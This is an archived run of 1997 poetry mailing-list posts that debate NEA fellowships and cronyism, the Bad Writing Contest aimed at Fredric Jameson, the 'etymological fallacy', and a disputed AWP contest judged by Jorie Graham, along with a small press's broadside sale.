> *Actually, many such cases of "incest" were documented in detail by Hilary Masters in _The Georgia Review_, Summer 1981, in his essay "Go Down Dignified: The NEA Writing Fellowships" (followed, by the way, with a response from David Wilk, then Literature Program Director). This piece stirred up a great deal of controversy at the time; it reported -- naming some names, no less -- several sordid stories about cronyism. What's really interesting, though, is how Masters reserved his sharpest machete for the then-fledgling Language Poets, beating up on folks like Hejinian, Watten, Bill Berkson, Anne Waldman, etc., alleging some kind of conspiracy. No, Mr. Duemer, the incest was there, is there, and will always be there, but to most of us cronyism is a fact of life in just about any aspect of social interaction you can name; it's a given, and I'd agree with you that it's foolish to waste time and energy bitching about it when we could be writing exciting poetry that earns attention no matter who we are.*

Not having read the Masters article, I can tell you some of how and why this works at the Endowment as well as other funding agencies public and private, and why it may not be a bad thing. I've worked for more than a dozen years writing grants for arts organizations & have about a dozen years of the NEA's annual reports, so I'm not just working from anecdotal evidence here, I've seen the figures.

NO writer doing experimental work EVER gets funded in years when there is no writer sympathetic to that kind of work on the panel. A group of writers who work in the "workshop" or "new formalist" modes are not going to be persuaded by an example of "language writing" or any else, when there's no one to argue in favor of its merits. Since the panels so rarely have representatives from this area of the field, the effect is pretty obvious. It was the same thing for composer fellowships, no one with a "downtown" style got funded except in the few years there were like-minded panelists on the selection committee.

Is this cronyism or a difference of aesthetics? Most of the complaints I've seen about "avant garde" cronyism on panels like these boil down to "hey, fewer of my favorite kind of writers got support this year, cause of a few opiniated avant garde cronies who couldn't tell GOOD writing if it bit them on the ass."

For what it's worth, panelists at the NEA & all other public-supported agencies are supposed to announce conflicts of interest, & may have to recuse themselves from considering works by friends, lovers, bosses, plaintiffs, etc. How this is implemented on fellowship panels with allegedly "blind" judging can get a little, uh, questionable, though. After all, who's to say whether someone REALLY didn't recognize work before the names get put on for the final rankings?

> *A positive story... I remember hearing that some years ago the NY State Foundation for the Arts rejected a poetry fellowship applicant's work because it "sounded too much like Ashbery." After the process was over the panel was amazed to discover that the rejected applicant was indeed Ashbery himself. That says something good about NY's process, if not something about the kind of work JA was writing at the time.*

This anecdote is probably an urban legend, as I've heard it about virtually every artistic discipline in which "blind" judging is used.

> *One more note on this subject. To me the cash award of an NEA fellowship is beside the point; what it really represents -- as Masters points out -- is an imprimatur, a badge that says your peers think you're one helluva poet, an honor that even non-poet tenure committees understand. Lately I've been thinking that the NEA should drop the money award to writers and just give the winners some kind of framed certificate or medal. Then maybe some of the saved bucks could be used to reinstitute grants for painters and sculptors, who at least can use the money for materials.*

By this logic, the artists who should be funded are not painters and sculptors but media & computer artists whose expenses are even greater.

As a former, & founding, board member of a local private organization that supports indivdual artists (in Washington state only), I'd say that fellowships are a form of peer recognition and while the money is technically provided to buy time for artists, if they buy a car or make a down payment on a house that they wouldn't otherwise buy, I don't think it's a bad thing.

Painters & sculptors work within an economic structure in which they MAY be able to sell their work for a figure that reflects the time and materials that went into it. Few writers, and fewer poets, have the same opportunities. & because of this, there are more instances of visual artists who "can afford to work without it" getting fellowships than writers.

Herb Levy

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628. Herb Levy
Re: Writers and Painters
Wed 21 May 1997

Fred Muratori wrote:

> *My point was that it*
> *made little sense to me for the NEA to cut off visual artists from*
> *fellowships while sparing writers, though I can see how it would make sense*
> *to Helms -- it's a lot harder to spot that there porno when there's all*
> *them little words all around it.*

The Endowment still awards writing fellowships while dropping them from other programs because several literary organizations lobbied long & hard for it.

Since support for individual artists has often been the best place for conservatives to look for "controversial" work to rouse the rabble against government funding for the arts, expect to see more, not less, complaints about writers in the coming months.

Herb Levy
[redacted]

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629. Charles Alexander
broadsides
Wed 21 May 1997

Over the years, Chax Press has accumulated a number of hand printed broadsides, usually (but not always) printed for specific poetry readings or poetry festival appearances. Generally, after the occasion passes, these are rarely offered for sale except at open studio events, and then they are generally sold for $10.

Some of these broadsides were printed by Chax Press, some by me in earlier days (pre-1984) for Black Mesa Press. Some were our decision to print, others printed at the request of Woodland Pattern Book Center or the Tucson Poetry Festival.

But we are definitely in fundraising mode here for new projects, and I'd like to offer the following broadsides and small folded printings. Broadsides are generally rather difficult and sometimes expensive to pack and send safely, which is why the prices here go down considerably if you buy more than one.

Please send any email replies directly to Chax at [redacted] -- and
not to the poetics list. Or send orders with checks to
Chax Press

101 W. Sixth St., no. 6
Tucson, AZ 85701-1000

If you buy one (copy or item), the cost is $7.
If you buy two, the cost is $10.
If you buy three, the cost is $14.
If you buy four, the cost is $17.
If you buy five, the cost is $20, and we'll throw in a surprise as well (probably a small pamphlet or book).
If you buy more than five, you'll get a good deal -- I promise.

Here's the list of what's available:

Jonathan Williams, from the book of days, An Enchiridion of Asps
David Miller, from The Break (with a drawing actually drawn on each broadside by Cynthia Miller)
Paul Metcalf, The Players (this is an announcement for a play performance, but not the text of the play -- but a nice handprinted piece with a vintage baseball image on it)
Pauline Oliveros, Horse Sings from Cloud
Karl Gartung, "I was pregnant . . ."
Edward Dorn, Maximum Ostentation
Joel Oppenheimer, For Max & Ted Berrigan (two poems both printed on the broadside)
Clark Coolidge, Mammoth Night
Karen Brennan, Poetry, Language, Thought
Create Culture -- general broadside from Chax Press with image/word play
Mei-mei Berssenbrugge, Tan Tien
Gwendolyn Brooks, First Sermon on the Warpland
Beverly Dahlen, selection from A Reading
Ron Silliman, Albany
Charles Alexander and Cynthia Miller, Aviary Corridor (this is an offset-printed "screenfold" co-published with Light & Dust Books)
Thomas A. Clarke, I Love Those Clean, Bright Rooms

Also, a reminder that Karen Mac Cormack's _The Tongue Moves Talk_ has just been issued and is available. It is a new full-length book of poems available for $11. More information about it can be found at the Chax web site, http://personal.riverusers.com/~chax in the "new books" section.

thanks for admitting such posts as this into this space

charles

charles alexander / chax press / [redacted]

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630. **Wystan Curnow**
(no subject)
Wed 21 May 1997

> *Date: Mon, 19 May 1997 09:47:52 -0500*
> *Reply-to: UB Poetics discussion group <[redacted]>*
> *From: Maria Damon <[redacted]>*
> *To: [redacted]*

I agree about Jameson. The judge, Dr. Denis Dutton, (Doctor DeeDee) edits an academic journal called Philosphy & Literature; he teaches aesthetics to art school students at the University of Canterbury, unfortunately. He's representative of a breed of anglo-american philosophers (Dr. DD is an American who has been here 10-15 years) who feel their subject has been stolen from them by pretentious people in other fields, and seeks ways to hit back. But he's also got a good nose for what makes news--and this version of The World's Top Ten Worst Dressed is just his kind of thing--the journalists love it. He has written a book on the Shroud of Turin, and likes to expose frauds of all kinds--people who bend spoons with mind power,and so on. Christchurch, a small city in the South Island once had a vibrant intellectual culture, but these days is increasingly occupied by the Duttons of the world.

Wystan

> *i actually think jameson is quite a good writer. i wonder why it is that marxist theorists come in for this kind of anti-intellectual bashing, while for example medical research scientists aren't taken to task for the "esoteric jargon" they use to describe simple human functions like breathing or digesting. since the "judge" of the contest is himself a humanist scholar, i suspect some petty generational ressentiment on the part of these contest runners.*
>
> *At 1:51 PM -0700 5/18/97, Hoa Nguyen wrote:*
> *Hi every one. This is Dale Smith via Hoa's machine. Below is an article I read*
> *in today's local paper from the associated press. I found it quite telling and*
> *right on. It reveals the distance that has developed between theorists and mere*
> *mortals who expect language to function as a medium of shared communication rather than subjective solipsism. Anyway, here's the article:*
>
> **********
>
> *CHRISTCHURCH, New ZealandããLooking for a good read? Here are some writers to*
> *avoid.*

The winnerããor loserããof an academics' Bad Writing Contest announced Friday was
Frederic Jameson, a professor of comparative literature at Duke University in North Carolina.

His book, "Signatures of the Visible," opens with this sentence:

"The visual is essentially pornographic, which is to say that it has its end in
rapt, mindless fascination; thinking about its attributes becomes an adjunct to
that, if it is unwilling to betray its object; while the most austere films necessarily draw their energy from the attempt to repress their own excess (rather than from the more thankless effort to discipline the viewer)."

Jameson has a significant academic following, contest organizers noted; for their part, the judges believed reading his prose "was like swimming through cold porridge."

Telephone calls to Jameson's home Saturday were not answered.

All the entries in the contest were from published academic works. The top three offenders were English professors. The judges observed: "This reliance on jargon is an indication of the death throes of English as an academic discipline."

Second place went to Rob Wilson of the University of Hawaii, whose sentence reads, in part:

"If such a sublime cyborg would insinuate the future as post-Fordist subject, his palpably masochistic locations as ecstatic agent of the sublime superstate need to be decoded as the 'now-all-but-unreadable DNA' of the fast deindustralizing Detroit...."

The third-place winner kept his sentence short, but to no avail.

"The lure of imaginary totality is momentarily frozen before the dialectic of desire hastens on within symbolic chains," wrote Fred Botting in his 1991 work,
"Making Monstrous: Frankenstein, Criticism, Theory." Botting is a lecturer at
Lancaster University in England.

The contest showed that academics and major publishing houses have been so busy
using the "magical incantations of jargon, they've forgotten what real thinking
is," said contest judge Denis Dutton, senior lecturer in the philosophy of art

> *at Canterbury University in Christchurch.*
>
> ---
> *Get Your *Web-Based* Free Email at http://www.hotmail.com*
> ---

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631. **Hugh Steinberg**

Re: things that make you go hmmmm -- a hyhouihnmmmmmmmhhh

Wed 21 May 1997

I think much of this discussion hinges on ethics: specifically, where does advocacy end and cronynism begin? We all want to advocate the work of writers we like and admire, and hope the same is done for us. And it is often upsetting (or nauseating) to see the work of writers we don't like or admire get published, funded, employed because we think that writer has a connection we are not privvy to. I think the identifying value here is "worth," although identifying it is tricky and sometimes hard to defend. This sense of worth is often tangled up with personal tastes, and perhaps it's the responsibility of editors and contest judges to disentagle it, if this is possible.

I think advocacy is an essential value in poetry: it supports and extends communities, forming connections where none might otherwise exist. There are a lot of writers I would never have heard of if someone hadn't shoved their work in my hands and say you ought to read this, or to put a larger spin, if someone hadn't published their work or scheduled them for a reading in my geography (and publicizing these events so I have chance to attend).

Advocacy turns into cronyism when it operates as a closed, exclusive activity, a form of literary bigotry, when factors other than, as Eliza puts it, the work, come into play in your decisons.

It all boils down to the rules and ethics we keep and share, and they are not always simple, hard and fast. Are you publishing someone because you're sleeping with them or because they can do a favor for you? What if the person you're sleeping with happens to be a better writer than you?

I co-edit a magazine, JackLeg, that operates on the exact opposite principle of blind judging: we only publish by invitation. In some ways it is inherently unfair: we will not publish an unsolicited manuscript from Joe or Betty Boop (there are plenty of magazines out there that will publish the Boops, no matter how unknown they happen to be, if their work is good (worthy) enough for

publication). We started the magazine because a lot of writers (specifically in Chicago and Tucson) we knew were not getting published who deserved to be (lots of magazines start this way). We wanted the writers in those two cities to become aware of each others work. Some of the ethical concerns we had to deal with: the other co-editor is a grad student in an MFA program: should we publish her fellow grad students (we decided not to, because it would poison her workshops). How do we prevent our magazine from only turning into another cronyistic operation (we decided not to publish authors more than once, and to solicit our authors to find other people to publish).

Hugh Steinberg

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632. **Joseph Duemer**
Re: Etymological Fallacy
Wed 21 May 1997

Steve Carll wrote: "Your use of the phrases "etymological reasoning" and "based on etymology" make it sound to me as though Heidegger's thought could then be evaluated on the accuracy of his philology, which I wouldn't agree with."

If I implied the above I didn't mean to; though I am no authority on Heidegger, having read at him years ago, I don't beleive his thought can be reduced to philology."

Steve Carll wrote: "Fanciful as they often are, Heidegger's etymologies nonetheless open up realms of thinking about words that aren't available to us if we insist on the primacy of a single stable denotative meaning for the word, or if we deny the associative power that the word has within and without its "own" language, or if we fail to account for the context in which the word appears (meaning for whom?). I guess I'm seconding something George Thompson said and adding another term: sometimes etymological "fallacies" can lead to philosophical truths."

I agree with this. Maybe we need a term of art: the etymological lie. Years ago in a workshop the professor complimented a couple of lines as being "a fine lie." Though I was happy about the compliment, I had to fess up and admit that the lines were lifted directly from the OED. So what I had, I guess, was a truth so good it "had to be a lie"!

PS Just a personal note: I'm new to the Poetics List, but the civil tone and thoughtful commentary are much appreciated.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of the earth both comes and goes at once."
Wallace Stevens

↑ Index

633. **Wystan Curnow**
Re: Jameson's Prose
Wed 21 May 1997

Maria, you wrote
> i didn't mean humanist as a putdown. just thought it important to point out
> that the judge was not exactly the "everyman" he was being justified as,
> but rather someone from jameson's own neck of the woods who obviously felt
> he had a mission to clean up his territory and rescue it from scary young
> turks. i.e. he's a professional scholar, just like jameson, and the degree
> of generational ressentiment runs high here.

Yep, but I think Dutton is if anything younger than Jameson. Each age group has its old farts. As for 'young turks', where's THAT expression from--the Balkan Question or what?--calling young multiculturalists, etymologists ....

Wystan

↑ Index

634. **Steven Marks**
Re: Writers and Painters
Wed 21 May 1997

On Wed, 21 May 1997, Matthias Regan wrote:

> *Hell, what is writing anyway? What, creativity? I get paid to write all day every day, with this small proviso: those words arn't mine.*
> *But then, when*
> *are they--?????*

> *signed,*
> *Matthias Regan, Word Processor*

ME TOO, ME TOO...

signed,
Steven Marks, Ghostwriter

Steven Marks

http://members.aol.com/swmarks/welcome.html

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635. **Gwyn McVay**
Clarification
Wed 21 May 1997

Oh hell. I should have been clear about this in the first place. These are the circumstances as they occurred to me. Let me lay them out and see what you-all think.

I work for Associated Writing Programs (at least for the moment; my DEROS is August 1st). Every year, we have the Award Series, a $2000 prize for book-length mss. Last year, Ms. Graham was our poetry judge.

During her judging process, she called and said she was dissatisfied with the screeners' choices, and named a few titles of mss. she would like to see, assuming they had been entered. Nobody thought much of this at the time; we assumed they were mss. she had seen while judging the Whitman or the National Poetry Series. We sent them to her.

As it turned out, the winner she picked was Michelle Glazer, with whom she had worked recently and closely at Iowa. The finalists she named turned out to have been Iowa students as well.

Now, I'm all for advocacy for students, being a grad student myself. But the rep of this contest rests on its being blind-judged. What really amazes me is that, like other staff members, I got a call from a woman who would not give her name but pointed out that the Whitman and NPS winners had been Ms. Graham's students as well, and that we were more likely than not to have this be true of the Award Series. I vigorously defended her, and said I felt this was unlikely to happen.

That is the sequence of events. It makes me uneasy. I am willing to accept that I may be mistaken on this one. What do the rest of you think?

bests
Gwyn

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636. **Maria Damon**
Re: things that make you go hmmmm -- a hyhouihnmmmmmmmhhh
Wed 21 May 1997

At 5:45 PM -0600 5/21/97, Hugh Steinberg wrote:
... And it is
>often upsetting (or nauseating) to see the work of writers we don't like or
>admire get published, funded, employed because we think that writer has a
>connection we are not privvy to. I think the identifying value here is
>"worth," although identifying it is tricky and sometimes hard to defend.
>This sense of worth is often tangled up with personal tastes, and perhaps
>it's the responsibility of editors and contest judges to disentagle it, if
>this is possible.
>

i agree that there's an ethical tho nuanced distinction between advocacy and cronyism. just want to throw in this 2 cents: it sometimes does my heart good to see mediocre work published cuz i think, if they can get published, so can i.

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637. **Bob Grumman**
Re: Clarification
Wed 21 May 1997

As a gossip-hound, I loved Gwyn McVay's story about the Associated Writing Programs Award Series. The more I think about it, though, the less "unethical" what Graham did seems to me. The competition was pre-judged, like almost all such competitions. How? By the selection of the judge, in this case, Jorie Graham. The competition was thus designed to give money to a Jorie Graham clone, with the details as to just which of her clones it should go to being left up to her. There not being any competitions I know of that'd choose a judge interested in the kind of poetry I most admire, it's all one to me.

Bob G.

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638. **Maria Damon**
Re: Jameson's Prose
Wed 21 May 1997

At 1:28 PM +1200 5/22/97, Wystan Curnow wrote:
>Maria, you wrote
>> i didn't mean humanist as a putdown. just thought it important to point out
>> that the judge was not exactly the "everyman" he was being justified as,
>> but rather someone from jameson's own neck of the woods who obviously felt
>> he had a mission to clean up his territory and rescue it from scary young
>> turks. i.e. he's a professional scholar, just like jameson, and the degree
>> of generational ressentiment runs high here.
>
>Yep, but I think Dutton is if anything younger than Jameson. Each
>age group has its old farts. As for 'young turks', where's THAT
>expression from--the Balkan Question or what?--calling young
>multiculturalists, etymologists ....
>
>Wystan

i believe "young turks" was an expression first used to characterize, was it catullus and his generation of young latin poets? somebody out there in poetixland will know this.
>
>
>>
>>

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639. **David Bromige**
Re-in-er-voice
Wed 21 May 1997

And Chris, what's notable about that course description is how much it sounds like anybody's course description. It reminds of those schools of broadcasting that turn out people who have learnt this one use of a voice. Sure, beyond the course description lie acres of unblazed vocal chords; it w o n ' t be a course in learning how to produce course-descriptions. It may serve some students well. Had I composed it, though, I'd worry that the students I brought in with it, would be a bit tin-eared. Huh? We've all written job letters, mind you, etc etc, let's not be holier than him. It's no moral point, not to me. It just feels like, well, "Hello out there! You--you voices! I f you have one! Anything worthy of the

name! Bring it on in & just m a y b e I'll do something about it. . . Like float it into Santa Monica Bay & install some rusted Tristrams in its stead, or a few choice [complete this sentence & send it in with your $98]" might be more attractive all round. More revealing. More concealing. Face it, though, there might not have been a choice. There a r e guidelines, Mr Clifton. If you don't care to fit the format, we have further candidates dying to offer this course. In the old days, we (me an some ov the boys dahn at the Works) didn't care for this cant of "Your Voice," but for me it wasnt anything against sounding like yourself, it had to do with n o t doing so, with sending a jelly-mould in one's place. With recognizing that oneself was a jelly-mould. "Finding _a_ voice" would be what I'd study. The contradictions are deliberate, after all.

Uh, hi all, if anybody has sent me a message in the last three weeks, please send it again, because my software, hardware & self have been thru the cybernetic wringer, & all messages have been lost. My server claims he had to cut them adrift, or the entire raft would have gone to the bottom. Bob Perelman and Ron Silliman, did you get my messages of 3 weeks or so ago? Lisa Jarnot, did you? Pierre, are we all caught up? --Everything was sent swirling down he maelstrom. Do you think, as one friend has suggested, that my server ought to give me a month rent-free? toodle-oo.[name here].

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640. **David Israel**
Re: Clarification
Wed 21 May 1997

Gwyn --

<< . . . That is the sequence of events. It makes me uneasy. I am willing to accept that I may be mistaken on this one. What do the rest of you think? >>

Thanks for setting forth this little history in much clearer detail --

such a scenario does seem surprising unsettling, and potentially scandalous. In fact, it would be a matter for surprise if Jorie were not to hear a good deal about these questions, anon. (And one can't help but wonder whether, in the end, such a compromised-seeming situation could very well redound to the credit of those selected, for that matter.) Off hand -- given merely the info & version of things you've shared -- there seems an odd suggestion of hubris (rather classically construed).

A side note: besides the issue of those Iowa students, I must confess some startlement (not having kept track) that Ms. Graham was called in to serve as judge in no less than three distinct competitions of this type, one after another.

We human beings (& poets) are famed for our flaws, no doubt. While I'm sure I'll continue to admire Jorie's astonishing poetry, yet a less salutory manner of astonishment does creep into the picture here. Naturally, the poet must have her own perception and conception of what was going on. I hope she sees her way clear to share that with us, in the course of things.

(I'll even admit to being mildly hopeful of one further surprise-twist: a *some-how* more-satisfying explanation for the events you've related?)

d.i.

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641. **Mark Baker**
Re: Jameson's Prose
Thu 22 May 1997

I wanted to understand Jameson's sentence. So I got several more attacks on Dutton, a couple on Associated Press, and some very familiar Wittgenstein. All this is fine by me, especially since I knew it all already. We're all Young Turks here--who, to answer an etymological fallacy, were the mid-nineteenth-century reformers in the Ottoman Empire.

My thanks to Tom Orange, for a decent response and a poem I ain't dumb enough to ask him to explain.

Mark Baker

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642. **Mark Weiss**
Re: Etymological Fallacy
Thu 22 May 1997

Check out "fallacy" in the OED, meanings 3 and 4, or the American Heritage, meanings 1 and 2. "Fallacy" doesn't mean "wrong."

The issue was the denotation of a particular word. It is possible to argue that "epic" was understood by Greeks in say, 400 BC, differently than it had been understood 400 years earlier without changing the meaning of the word so that it no longer denotes anything reliably--so that it no longer communicates efficiently.

But I'm a conservative old fart in these matters. "Problematize," for instance, strikes me as a barbaric usage.

At 02:30 PM 5/21/97 -0700, you wrote:
>Mark Weiss wrote:
>

>>I'd like to propose a new term for the list's consideration:
>
>>the etymological fallacy--a. that two words wrom the same root continue to
>>mean the same thing.
>>b. that a word retains the meaning of its root.
>
>>Here's a recent example of a.: sensible and sensitive. Example: "I was
>>starving, your honor. In my situation stealing your wife's purse was the
>>sensible thing to do."
>>Substitute sensitive.
>
>>And here's an example of b.: epic as gossip.
>
>I'm just curious about the use of the word "fallacy" here. In order to
>come to a judgment that the use of a word is fallacious with respect to its
>meaning, doesn't one have to proceed from the assumption that the word has
>a stable meaning against which individual uses of the word can be compared
>to determine whether they're correct or incorrect? And doesn't the
>proposal rest on precisely the opposite assumption--that the word's meaning
>changes over time, i.e., is unstable?
>
>And, if I may just shunt over to take up Joseph Duemer's question about
>Heidegger's _Poetry, Language, Thought_: yes, Heidegger employs etymology
>in this and throughout his work to tie his thinking on Being into an
>investigation of language and the historicity of the language in which that
>thinking take place. Your use of the phrases "etymological reasoning" and
>"based on etymology" make it sound to me as though Heidegger's thought
>could then be evaluated on the accuracy of his philology, which I wouldn't
>agree with. Fanciful as they often are, Heidegger's etymologies
>nonetheless open up realms of thinking about words that aren't available to
>us if we insist on the primacy of a single stable denotative meaning for
>the word, or if we deny the associative power that the word has within and
>without its "own" language, or if we fail to account for the context in
>which the word appears (meaning for whom?). I guess I'm seconding
>something George Thompson said and adding another term: sometimes
>etymological "fallacies" can lead to philosophical truths.
>
>What Mark sees as the obscuring of meaning is often a strategy employed to
>problematize meaning so that what may seem like the "obvious" meaning of a
>word is no longer taken for granted. The word is no longer transparent but
>prismatic, bent into the component colors that are present within the white
>light.

>
>**********
>[redacted] Steve Carll
>http://writing.upenn.edu/epc/mags/antenym
>http://writing.upenn.edu/epc/ezines/antenym
>
>In seed-
>sense
>the sea stars you out, innermost, forever.
>
> --Paul Celan
>**********
>
>

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643. **Mark Weiss**
Re: Jameson's Prose
Thu 22 May 1997

I think Young Turks is a reference to the party of Ataturk, which first reformed and then replaced the sultanate.

At 01:28 PM 5/22/97 +1200, you wrote:
>Maria, you wrote
>> i didn't mean humanist as a putdown. just thought it important to point out
>> that the judge was not exactly the "everyman" he was being justified as,
>> but rather someone from jameson's own neck of the woods who obviously felt
>> he had a mission to clean up his territory and rescue it from scary young
>> turks. i.e. he's a professional scholar, just like jameson, and the degree
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>Yep, but I think Dutton is if anything younger than Jameson. Each
>age group has its old farts. As for 'young turks', where's THAT
>expression from--the Balkan Question or what?--calling young
>multiculturalists, etymologists ....
>
>Wystan
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644. Charles Alexander
Re: NEA, cronyism, etc.
Thu 22 May 1997

> *The real value of the Endowment has been in the book grants, which have done a substantial amount to underwrite thousands of good small press books. Every time Sun&Moon or Segue or Chax or Grey Wolf or whomever gets a grant, I get the benefit and so do you. If Steve Dickison or somebody from SPD is on the list, I'd be curious to get a sense of what percent of the books that store carries were underwritten at least in part by the endowment (whatever the number, I'm sure that it's gone down significantly in the past 5 years).*

Speaking for Chax, without NEA money there likely wouldn't be a Chax. When I first began making books, by hand, in the very early 1980's, some of these books, by stroke of luck, came under the eye of David Wilk (he & I had been visiting at the same time in Toronto and I had left books at Coach House Press, where he saw them). David was then NEA Lit Program Director. He got in touch and suggested we apply for a grant. We did, and that was the first thing that made me start making books whose aims went slightly beyond "books I just wanted to make." Later, when we moved to produce trade editions, rather than just hand printed editions, we had NEA grants for two out of the first three years we were doing such books. This helped books by bp Nichol, Ron Silliman, Bev Dahlen, Sheila Murphy, and several others. Without such funds, I don't know if we'd have ever continued to do more than the first book or two of trade paperback editions. And in the present climate, I often wonder if we can continue to produce such books. I don't really expect that Chax will ever be able to get another NEA grant. This means that we have to find a way to raise $12,000 or more a year from donations, as in our case there are no local foundations or corporate sponsors who are likely to champion a literary press, much less one seen as experimental in some way and without a proven and sizable 'local' audience.

NEA has particularly been important for presses producing just a few books a year, as, in my experience, local and state arts councils see such presses as only supporting a few artists/writers in a year, and rather find that a kind of elitist activity which doesn't merit the use of public funds.

>
>And, for whatever reason, the book grants have been notably more even handed
>than the fellowships for years.

I don't know why this is. But I think NEA lit staff has always wanted to be as even handed as possible, and they've gone out of their way to get a breadth of people on press panels.

charles

charles alexander / chax press / [redacted]

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645. **rsillima**
NEA, cronyism, etc.
Thu 22 May 1997

Let me speak here as one of the NEA grantees whose award provoked the Masters article. I think Herb Levy's post got it exactly right. Whenever you take anything like "professional contributions to the field" or whatever into consideration, you're going to get all of the aesthetic leanings that lend themselves to people making such charges (and I'm sure we've all heard the same with regards to every other grant making body, from NYSCA to the California Arts Council to the Guggies to the Gerbode). The field of poetry is not, as a profession, all that large. Problems develop when the same aesthetic orientation is represented over and over and over again (viz the Guggies, the Pulitzer and for the most part the conservative leaning years at the NEA).

I took the Georgia Review piece to be a classic example of a member of a privileged clique yowling that their clique had one year in which it did not dominate the whole terrain, a phenomenon remarkably like the "white backlash" over the few spaces in law and medical schools that people of color have taken up. In fact, the rotation of aesthetic positions should be a regular occurrance at all of the grants-making organizations.

I used my NEA grant to write two books (Lit and Paradise) and work on several others, to edit the anthology In the American Tree and be able to take the time off from a real job to teach for a year at SF State and UC San Diego (which I could never have afforded to have done otherwise). I also brought my teeth (sadly neglected in the 60s and 70s) back to something approaching the state of the art. I managed to make that ten grand last five full years. I know plenty of other poets (of all aesthetic stripes) who've similarly marshalled what little they've received in funds from whichever organization just as frugally.

There may be a poet somewhere who bought a sportscar, but wasting the grant money would be his or her loss, not ours. It reminds me of Mark Strand's comment about the Poet Laureate-ship of the US, that it "hadn't done much" for him. Contrast that with the way Bob Hass used the position to do something for poetry. (I'll vote with Hass on this one every time.)

But the fellowship money is not where the real value in the NEA has been--it just hasn't reached enough people. I've heard supporters and officials of the NEA argue that the majority of funds spent on poetry in the US comes from the NEA, but that certainly hasn't been true in my life. Of the roughly $100K I've made from poetry (spread out over 30 years), maybe one third could have been traced back, directly or indirectly, to the NEA.

The real value of the Endowment has been in the book grants, which have done a substantial amount to underwrite thousands of good small press books. Every time Sun&Moon or Segue or Chax or Grey Wolf or whomever gets a grant, I get the benefit and so do you. If Steve Dickison or somebody from SPD is on the list, I'd be curious to get a sense of what percent of the books that store carries were underwritten at least in part by the endowment (whatever the number, I'm sure that it's gone down significantly in the past 5 years).

And, for whatever reason, the book grants have been notably more even handed than the fellowships for years.

All best,

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

When this you see
Remember me

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646. henry gould
Re: Clarification
Thu 22 May 1997

If, as Ron Silliman points out, the problem is getting more grant money to poets & presses, then I have to disagree with Bob Grumman that ethics don't come into play in Gwyn's story & it doesn't matter anyway. Seems to me the AWP award was designed so that the judge would choose from finalists selected by AWP rather than personal favorites or students of hers, and AWP should have said no to her. That seems pretty obvious.

I agree with Mark Prejnar that the aim shd be anonymity & fairness in judging if we want more government or other money to go to these things. Sounds like

AWP did a disservice to all those people (not me, thanks) who dutifully sent in their xeroxed ms & application money.

On the balance between cronyism ethics & advocacy: seems an ironic downside of balkanization & "schools" formation in poetry - the schools help build movements but make it hard for them to get funded. The idea that there are different aesthetics (ours are good, of course, theirs are bad) & that this justifies cutthroat advocacy to the point of closing down competitions - this is sad. Advocacy shd not be an excuse for cronyism. This is a complex issue - maybe editors & grant awarders need to get their heads together from all ends of the spectrum to design certain standards & means of working together. Judges should be required to have certain expertise & openness across the whole field. Poets could be asked to provide a couple paragraphs with their ms. outlining their own development & influences(?). Judges could ask for 2nd opinion on screened finalists they don't "get". All competitions anonymous. Judges shd sign an agreement statement on certain standards and approaches to judgeship. Etc... - Henry G.

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647. **Joseph Duemer**
Re: Clarification
Thu 22 May 1997

Several years ago I was a screening judge for the AWP Poetry Competition, and the organization went to great lengths to keep the judging blind, replacing names with numbers, etc. And when I recognized a manuscript from a student I had taught in a summer workshop, I sent it to another screener. Now I have so far taken a rather indulgent view of the networking that goes on in various corners of the poetry world, thinking that advocating for the kind of thing you believe in is more important than some abstract sort of "fairness." But the Graham case is a little different--she seems to have gone outside the established conditions of the competition, and I think the people who plunked down their twenty bucks have at least the right, if not to be treated "fairly," then to have the stated rules followed. The judge, as I recall, has the right to name his/her own screeners, so if even a hand-picked jury didn't put through the mss Graham was looking for, maybe those books weren't any good.

Had the final judge gone outside the screeners' recommendations the year I worked for the competition I'd have screamed bloody murder. (The screeners work a lot harder than the final judge.)

If a press just wants to have Jorie Graham's name associated with their editorial selections, they can hire her as a consultant, but then of course they wouldn't

get the entry fees a contest generates. Perhaps, as in some competitions, the name of the judge should be revealed only after the selections are made.

For the record: I am an Iowa grad (pre-Graham), have published Graham's poems in one of the journals for which I serve as an editor, and am currently the volunteer General Editor for the AWP's Intro Journals Project, a competition for students in AWP writing programs, which is judged blind, and for which the judges read every single submission in their genre.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of the earth both comes and goes at once."
Wallace Stevens

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648. **Maria Damon**
Re: Jameson's Prose
Thu 22 May 1997

At 10:32 PM -0700 5/21/97, Mark Baker wrote:
>I wanted to understand Jameson's sentence. So I got several more
>attacks on Dutton, a couple on Associated Press, and some very
>familiar Wittgenstein. All this is fine by me, especially since
>I knew it all already. We're all Young Turks here--who, to answer
>an etymological fallacy, were the mid-nineteenth-century reformers
>in the Ottoman Empire.

sorry mark, i wasn't trying to answer your question, just expressing my irritation w/ dutton-types and jameson-bashers. don't take it personally that there were several strands to this jameson matter.--md
>
>My thanks to Tom Orange, for a decent response and a poem I ain't
>dumb enough to ask him to explain.
>
>Mark Baker

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649. **CAROLYN L. FORCHE-MATTISON**

Re: NEA, cronyism, etc.

Thu 22 May 1997

On Thu, 22 May 1997 [redacted] wrote:
>
> The real value of the Endowment has been in the book grants, which have done
> a substantial amount to underwrite thousands of good small press books.
> Every time Sun&Moon or Segue or Chax or Grey Wolf or whomever gets a grant,
> I get the benefit and so do you. If Steve Dickison or somebody from SPD is
> on the list, I'd be curious to get a sense of what percent of the books that
> store carries were underwritten at least in part by the endowment (whatever
> the number, I'm sure that it's gone down significantly in the past 5 years).
>
> And, for whatever reason, the book grants have been notably more even handed
> than the fellowships for years.
>

